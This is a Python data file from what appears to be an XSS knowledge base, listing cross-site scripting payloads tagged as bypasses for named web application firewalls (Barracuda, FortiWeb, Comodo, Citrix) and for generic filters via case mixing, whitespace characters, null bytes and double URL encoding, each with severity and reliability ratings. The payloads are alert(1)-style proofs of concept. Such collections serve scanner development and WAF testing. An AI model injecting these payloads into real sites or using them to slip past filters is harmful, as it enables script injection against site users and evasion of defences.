#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Complete WAF Bypass Payloads Collection - Part 3
Barracuda, FortiWeb, and other WAF bypasses.
"""

from ..models import PayloadEntry


BRS_KB_WAF_COMPLETE_PAYLOADS_PART3 = {
    # ============================================================
    # BARRACUDA BYPASSES
    # ============================================================
    "barracuda-bypass-1": PayloadEntry(
        payload='<img src=x onerror="this.onerror=null;alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Barracuda bypass - onerror null",
        tags=["waf", "barracuda", "bypass"],
        bypasses=["barracuda"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "barracuda-bypass-2": PayloadEntry(
        payload="<img src=x onerror=window['\\x61\\x6c\\x65\\x72\\x74'](1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Barracuda bypass - hex window access",
        tags=["waf", "barracuda", "bypass", "hex"],
        bypasses=["barracuda"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # FORTIWEB BYPASSES
    # ============================================================
    "fortiweb-bypass-1": PayloadEntry(
        payload='<img src=x onerror=Function("alert(1)")()>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="FortiWeb bypass - Function constructor",
        tags=["waf", "fortiweb", "bypass"],
        bypasses=["fortiweb"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "fortiweb-bypass-2": PayloadEntry(
        payload="<img src=x onerror=setTimeout`alert\\x281\\x29`>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="FortiWeb bypass - setTimeout template",
        tags=["waf", "fortiweb", "bypass"],
        bypasses=["fortiweb"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # COMODO WAF BYPASSES
    # ============================================================
    "comodo-bypass-1": PayloadEntry(
        payload="<img src=x onerror=globalThis.alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Comodo bypass - globalThis",
        tags=["waf", "comodo", "bypass"],
        bypasses=["comodo"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "comodo-bypass-2": PayloadEntry(
        payload='<img src=x onerror="Reflect.apply(alert,null,[1])">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Comodo bypass - Reflect.apply",
        tags=["waf", "comodo", "bypass"],
        bypasses=["comodo"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # CITRIX WAF BYPASSES
    # ============================================================
    "citrix-bypass-1": PayloadEntry(
        payload='<img src=x onerror=alert?.("1")>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Citrix bypass - optional chaining",
        tags=["waf", "citrix", "bypass"],
        bypasses=["citrix"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "citrix-bypass-2": PayloadEntry(
        payload="<img src=x onerror=alert?.(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Citrix bypass - optional call",
        tags=["waf", "citrix", "bypass"],
        bypasses=["citrix"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # GENERIC WAF BYPASSES (MULTI-WAF)
    # ============================================================
    "generic-bypass-parseInt": PayloadEntry(
        payload="<img src=x onerror=alert(parseInt('1'))>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Generic bypass - parseInt wrapper",
        tags=["waf", "generic", "bypass"],
        bypasses=["generic"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "generic-bypass-Number": PayloadEntry(
        payload="<img src=x onerror=alert(Number(1))>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Generic bypass - Number wrapper",
        tags=["waf", "generic", "bypass"],
        bypasses=["generic"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "generic-bypass-void": PayloadEntry(
        payload="<img src=x onerror=void(alert(1))>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Generic bypass - void operator",
        tags=["waf", "generic", "bypass"],
        bypasses=["generic"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "generic-bypass-throw": PayloadEntry(
        payload="<img src=x onerror=throw~onerror=alert,~1>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Generic bypass - throw statement",
        tags=["waf", "generic", "bypass"],
        bypasses=["generic"],
        waf_evasion=True,
        browser_support=["chrome", "firefox"],
        reliability="medium",
    ),
    "generic-bypass-with": PayloadEntry(
        payload="<img src=x onerror=with(document)alert(domain)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Generic bypass - with statement",
        tags=["waf", "generic", "bypass"],
        bypasses=["generic"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "generic-bypass-in": PayloadEntry(
        payload='<img src=x onerror="1 in alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Generic bypass - in operator",
        tags=["waf", "generic", "bypass"],
        bypasses=["generic"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "generic-bypass-instanceof": PayloadEntry(
        payload="<img src=x onerror=alert(1)instanceof Function>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Generic bypass - instanceof",
        tags=["waf", "generic", "bypass"],
        bypasses=["generic"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "generic-bypass-typeof": PayloadEntry(
        payload="<img src=x onerror=typeof(alert(1))>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Generic bypass - typeof operator",
        tags=["waf", "generic", "bypass"],
        bypasses=["generic"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "generic-bypass-delete": PayloadEntry(
        payload="<img src=x onerror=delete(alert(1))>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Generic bypass - delete operator",
        tags=["waf", "generic", "bypass"],
        bypasses=["generic"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "generic-bypass-new": PayloadEntry(
        payload="<img src=x onerror=new(alert)(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Generic bypass - new operator",
        tags=["waf", "generic", "bypass"],
        bypasses=["generic"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # CASE MANIPULATION BYPASSES
    # ============================================================
    "case-bypass-mixed-1": PayloadEntry(
        payload="<sCrIpT>alert(1)</sCrIpT>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Mixed case script tag",
        tags=["waf", "case", "bypass"],
        bypasses=["case_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "case-bypass-mixed-2": PayloadEntry(
        payload="<iMg SrC=x OnErRoR=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Mixed case img tag",
        tags=["waf", "case", "bypass"],
        bypasses=["case_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # WHITESPACE BYPASSES
    # ============================================================
    "whitespace-bypass-tab": PayloadEntry(
        payload="<img\tsrc=x\tonerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Tab character in tag",
        tags=["waf", "whitespace", "bypass"],
        bypasses=["whitespace_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "whitespace-bypass-newline": PayloadEntry(
        payload="<img\nsrc=x\nonerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Newline in tag",
        tags=["waf", "whitespace", "bypass"],
        bypasses=["whitespace_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "whitespace-bypass-formfeed": PayloadEntry(
        payload="<img\x0csrc=x\x0conerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Form feed in tag",
        tags=["waf", "whitespace", "bypass"],
        bypasses=["whitespace_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "whitespace-bypass-vtab": PayloadEntry(
        payload="<img\x0bsrc=x\x0bonerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Vertical tab in tag",
        tags=["waf", "whitespace", "bypass"],
        bypasses=["whitespace_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # NULL BYTE BYPASSES
    # ============================================================
    "null-bypass-1": PayloadEntry(
        payload="<scr\x00ipt>alert(1)</scr\x00ipt>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Null byte in script tag",
        tags=["waf", "null", "bypass"],
        bypasses=["null_filters"],
        waf_evasion=True,
        browser_support=["ie"],
        reliability="low",
    ),
    "null-bypass-2": PayloadEntry(
        payload="<img src=x onerror=al\x00ert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Null byte in alert",
        tags=["waf", "null", "bypass"],
        bypasses=["null_filters"],
        waf_evasion=True,
        browser_support=["ie"],
        reliability="low",
    ),
    # ============================================================
    # DOUBLE ENCODING BYPASSES
    # ============================================================
    "double-encode-1": PayloadEntry(
        payload="%253Cscript%253Ealert(1)%253C/script%253E",
        contexts=["url_injection"],
        severity="high",
        cvss_score=7.5,
        description="Double URL encoding",
        tags=["waf", "encoding", "bypass", "double"],
        bypasses=["url_decode_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "double-encode-2": PayloadEntry(
        payload="%2522%253E%253Cscript%253Ealert(1)%253C/script%253E",
        contexts=["url_injection", "html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="Double encoded quote breakout",
        tags=["waf", "encoding", "bypass", "double"],
        bypasses=["url_decode_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
}
